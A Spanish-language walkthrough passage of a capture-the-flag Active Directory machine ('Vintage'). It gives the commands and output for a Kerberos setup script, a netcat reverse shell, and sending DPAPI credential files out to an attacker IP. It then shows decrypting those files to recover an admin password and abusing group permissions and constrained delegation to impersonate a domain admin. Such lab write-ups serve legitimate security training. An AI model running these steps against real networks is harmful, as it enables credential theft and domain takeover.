if not (ask_user("Would you like to continue?")):
sys.exit(1)
# Createa backup
copy_file(krb5_conf_file, backup_file)
# Write the file
try:
with open(krb5_conf_file, "w") as f:
f.write(data_to_write)
print(f"[+] {krb5_conf_file!r} has been configured")
except Exception as e:
print(f"[!] Error writing to {krb5_conf_file!r}: {e}")
sys.exit(1)
print(f"[+] Finally, after exporting your Kerberos ticket, to execute evil-winrm with Kerberos just run:\n evil-winrm -i {args.dc.lower()} -r {args.domain.upper()}")
return
def main():
"""
MAIN
"""
# Get user arguments
args: argparse.Namespace = get_user_arguments()
# Since this script needs "root" permissions, check if it is being executed with these permissions
check_being_exec_as_root()
# Create the data that will be writen into config file
krb5_file_data = create_config_file(args.domain, args.dc)
# Create a backup and modify original krb5 config file
modify_file(args, krb5_file_data)
if __name__ == "__main__":
main()
Lo ejecutamos (requiere privilegios dado que sobreescribiremos el archivo /etc/krb5.conf
):
❯ sudo python3 evil-winrm_kerberos.py vintage.htb dc01
[+] The following data/text will be OVERWRITTEN at '/etc/krb5.conf':
[libdefaults]
default_realm = VINTAGE.HTB
[realms]
VINTAGE.HTB = {
kdc = dc01.vintage.htb
admin_server = dc01.vintage.htb
}
[domain_realm]
vintage.htb = VINTAGE.HTB
.vintage.htb = VINTAGE.HTB
[?] Would you like to continue? [Y]es/[No]: y
[+] Backup created at '/etc/backup_krb5.conf'.
[+] '/etc/krb5.conf' has been configured
[+] Finally, to execute evil-winrm with Kerberos just run:
evil-winrm -i dc01 -r VINTAGE.HTB
Si no queremos ejecutar este script, simplemente podemos copiar el output mostrado en el script y lo pasamos a nuestro archivo /etc/krb5.conf
. Pero siempre recordando primero crear un respaldo para todo.
Una vez hecho, revisamos si podemos usar evil-winrm
usando el ticket del usuario C.Neri
:
❯ KRB5CCNAME=C.Neri.ccache evil-winrm -i dc01 -r VINTAGE.HTB
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents> whoami
vintage\c.neri
Podemos leer la flag de usuario en el Desktop de C.Neri
.
NT Authority/System - Administrator Link to heading
Algunas veces, luego de un tiempo usando la consola con evil-winrm
obtengo el mensaje:
malloc(): unaligned fastbin chunk detected
[1] 234799 IOT instruction KRB5CCNAME=C.Neri.ccache evil-winrm -i dc01 -r VINTAGE.HTB
Es por ello que decidí subir un binario de netcat
y enviarme una reverse shell con aquel binario. Ahora, incluso si la conexión con la consola de evil-winrm
muere, podemos seguir trabajando en una terminal.
Este usuario no presenta privilegios importantes:
PS C:\Users\C.Neri\Documents> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Luego de enumerar, vemos que podemos abusar de Data Protection API
(DPAPI
). Ello lo sabemos puesto que hay un directorio oculto:
PS C:\Users\C.Neri\Documents> Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\
Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 5:08 PM 430 C4BB96844A5C9DD45D5B6A9859252BA6
Podemos ver un archivo credencial.
Si subimos mimikatz
a la máquina víctima para abusar de DPAPI
, éste nos retorna un error:
PS C:\Users\C.Neri\Documents> .\mimikatz.exe
.\mimikatz.exe
Program 'mimikatz.exe' failed to run: Operation did not complete successfully because the file contains a virus or
potentially unwanted softwareAt line:1 char:1
+ .\mimikatz.exe
+ ~~~~~~~~~~.
At line:1 char:1
+ .\mimikatz.exe
+ ~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed
m̀imikatz
es bloqueado por Windows Defender
. Dado que no somos usuarios privilegiados, no hay manera de deshabilitar el antivirus y, por ende, debemos de proseguir “manualmente” obteniendo alguna información.
Para pasar archivos desde la máquina víctima a nuestra máquina de atacantes, es que en mi caso utilizo el binario de netcat
que previamente había utilizado para mandarme una reverse shell (puesto que, recordar, a veces la consola con evil-winrm
se moría porque sí). En nuestra máquina víctima, empezamos un listener con netcat
y guardamos todo lo recibido en un archivo:
❯ nc -lvnp 4444 > C4BB96844A5C9DD45D5B6A9859252BA6
listening on [any] 4444 ...
y pasamos el archivo usando una CMD
junto con netcat
:
PS C:\Users\C.Neri\Documents> cmd.exe /c 'C:\Users\C.Neri\Documents\nc.exe 10.10.16.3 4444 < C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6'
cmd.exe /c 'C:\Users\C.Neri\Documents\nc.exe 10.10.16.3 4444 < C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6'
Luego de algunos segundos, presionamos Ctrl+C
en neustra máquina de atacantes y el archivo debería de haber sido transferido exitosamente.
Paso siguiente, deberíamos de obtener algunas “master keys” basados en HackTricks. Para ello necesitamos nuestra SID
de usuario, que es fácilmente obtenible ejecutando:
PS C:\Users\C.Neri\Documents> whoami /user
whoami /user
USER INFORMATION
----------------
User Name SID
============== ==============================================
vintage\c.neri S-1-5-21-4024337825-2033394866-2055507597-1115
Luego, debemos de ejecutar en una sesión con PowerShell
:
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
o en este caso en específico:
PS C:\Users\C.Neri\Documents> Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 1:17 PM 740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-a-hs- 6/7/2024 1:17 PM 740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-a-hs- 6/7/2024 1:17 PM 904 BK-VINTAGE
-a-hs- 6/7/2024 1:17 PM 24 Preferred
Tenemos 2 Master keys:
4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Dado que mimikatz
no funcionó, podemos usar dpapi.py
de Impacket
junto con el SID
, su contraseña y las “master keys”. Estas “master keys” son archivos, por lo que necesitamos pasarlas a nuestra máquina de atacantes primero. Pasamos las “master keys” de una manera similar a como pasamos el archivo conteniendo las credenciales (usando netcat
). En nuestra máquina de atacantes ejecutamos:
❯ nc -lvnp 4444 > 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
listening on [any] 4444 ...
Y en la máquina víctima pasamos las “master keys” (en este caso pasamos una a una) usando netcat
y una CMD
:
PS C:\Users\C.Neri\Documents> cmd.exe /c '.\nc.exe 10.10.16.3 4444 < C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b'
cmd.exe /c '.\nc.exe 10.10.16.3 4444 < C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b'
Luego, extraemos la key contenida usando la masterkey, el SID
del usuario y la contraseña de este usuario en local usando impacket-dpapi
:
❯ impacket-dpapi masterkey -f 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid 'S-1-5-21-4024337825-2033394866-2055507597-1115' -password 'Zer0the0ne'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags : 0 (0)
Policy : 0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Esto genera una key desencriptada. Usamos aquella key desencriptada para obtener todo el contenido en el archivo que contenía credenciales (el primero que descargamos):
❯ impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key '0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000001 (CRED_TYPE_GENERIC)
Target : LegacyGeneric:target=admin_acc
Description :
Unknown :
Username : vintage\c.neri_adm
Unknown : Uncr4ck4bl3P4ssW0rd0312
Obtenemos así una contraseña para el usuario c.neri_adm
: Uncr4ck4bl3P4ssW0rd0312
.
Buscando qué es lo que puede realizar este nuevo usuario en Bloodhound
muestra:
Este usuario tiene los permisos AddSelf
y GenericWrite
sobre el grupo DelegatedAdmins
.
Revisando qué es lo que puede realizar el grupo DelegatedAdmins
no vemos mucho. No obstante, este grupo tiene 2 miembros:
DelegatedAdmins
no muestre nada en Bloodhound
, esto puede deberse a una falta de permisos a la hora de mapear con bloodhound-python
. Es decir, dado que mapeamos el dominio como el usuario P.Rosa
con bloodhound-python
(el cual no era un usuario privilegiado), si hay algunas políticas aplicándose al entorno Active Directory
, puede ser que este mapeo en realidad no muestre todos los reales permisos del grupo DelegatedAdmins
. ¿Cómo podemos solucionar esto? Volviendo a correr bloodhound-python
, pero esta vez como un usuario con más privilegios o acceso al grupo que nos interesa. Dejo como tarea al lector ejecutar bloodhound-python
como el usuario c.neri_adm
y comparar 😜.El usuario L.Bianchi
también es parte del grupo Domain Admins
:
Como ya es usual en este punto, solicitamos un TGT
para este nuevo usuario:
❯ impacket-getTGT vintage.htb/'C.Neri_adm':'Uncr4ck4bl3P4ssW0rd0312' -dc-ip 10.10.11.45
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in C.Neri_adm.ccache
❯ KRB5CCNAME=C.Neri_adm.ccache nxc smb dc01.vintage.htb -k --use-kcache
SMB dc01.vintage.htb 445 dc01 [*] x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB dc01.vintage.htb 445 dc01 [+] vintage.htb\C.Neri_adm from ccache
El nombre del grupo DelegatedAdmins
nos da una pista de cómo explotar y abusar de éste: Quizás, podemos performar un ataque Constrained Delegation
sobre una cuenta que tenga de atributo servicePrincipalName
, o SPN
, (como se muestra aquí) y usar aquella cuenta para solicitar un ticket impersonando a otro usuario (ojalá priviliado) en el dominio.
Como vimos, el usuario C.Neri_adm
tiene permisos GenericWrite
sobre el grupo DelegatedAdmins
. Por ende, podríamos tratar de agregar una cuenta cuya contraseña y/o hash NT
conocemos, la cual tiene un atributo SPN
(como una cuenta de servicio), como svc_sql
en este grupo (o también podríamos usar la cuenta FS01$
, tambén sirve). Para ello podemos usar bloodyAD
y el ticket de C.Neri_adm
:
❯ KRB5CCNAME=C.Neri_adm.ccache bloodyAD --host dc01.vintage.htb -d vintage.htb -k add groupMember 'DelegatedAdmins' 'svc_sql'
[+] svc_sql added to DelegatedAdmins
Así, cambiamos el serverPrincipalName
(SPN
) de este usuario. Para esto usams el ticket de C.Neri
(no el ticket de C.Neri_adm
). ¿Por qué? Puesto que, recordar C.Neri
, pertenece al grupo ServiceManagers
, tiene permisos GenericAll
sobre svc_sql
y, por tanto, tiene control total sobre esta cuenta; lo que le permite cambiar su atributo servicePrincipalName
. Cambiamos así este atributo a cifs/cualquiercosa
(o SMB
) usando, nuevamente, bloodyAD
:
❯ KRB5CCNAME=C.Neri.ccache bloodyAD --host dc01.vintage.htb -d vintage.htb -k set object "svc_sql" servicePrincipalName -v "cifs/anything"
[+] svc_sql's servicePrincipalName has been updated
Solicitamos eun ticket para svc_sql
con su SPN
“actualizado”:
❯ impacket-getTGT vintage.htb/'svc_sql':'Zer0the0ne' -dc-ip 10.10.11.45
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in svc_sql.ccache
Y ahora que svc_sql
pertenece tanto al grupo DelegatedAdmins
como con su SPN
manipulado, podemos usar esta cuenta para performar un S4U2Self
, solicitando un Service Ticket
(ST
), en nombre de otro usuario y así impersonarlo. Por ello, y finalmente, solicitamos un ticket para impersonar al usuario L.Bianchi_adm
usando getST.py
de Impacket
:
❯ KRB5CCNAME=./svc_sql.ccache impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate 'L.Bianchi_adm' -dc-ip dc01.vintage.htb -k vintage.htb/'svc_sql':'Zer0the0ne'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating L.Bianchi_adm
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in L.Bianchi_adm@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
Con este ticket para el usuario L.Bianchi_adm
en mano, usamos wmiexec.py
de Impacket
para entrar en la máquina víctima:
❯ KRB5CCNAME=L.Bianchi_adm@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache impacket-wmiexec -k -no-pass 'L.Bianchi_adm'@dc01.vintage.htb -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
vintage\l.bianchi_adm
Dado que este usuario es miembro del grupo Domain Admins
, podemos leer la flag de root
en el Desktop del usuario Administrator
.
~Happy Hacking.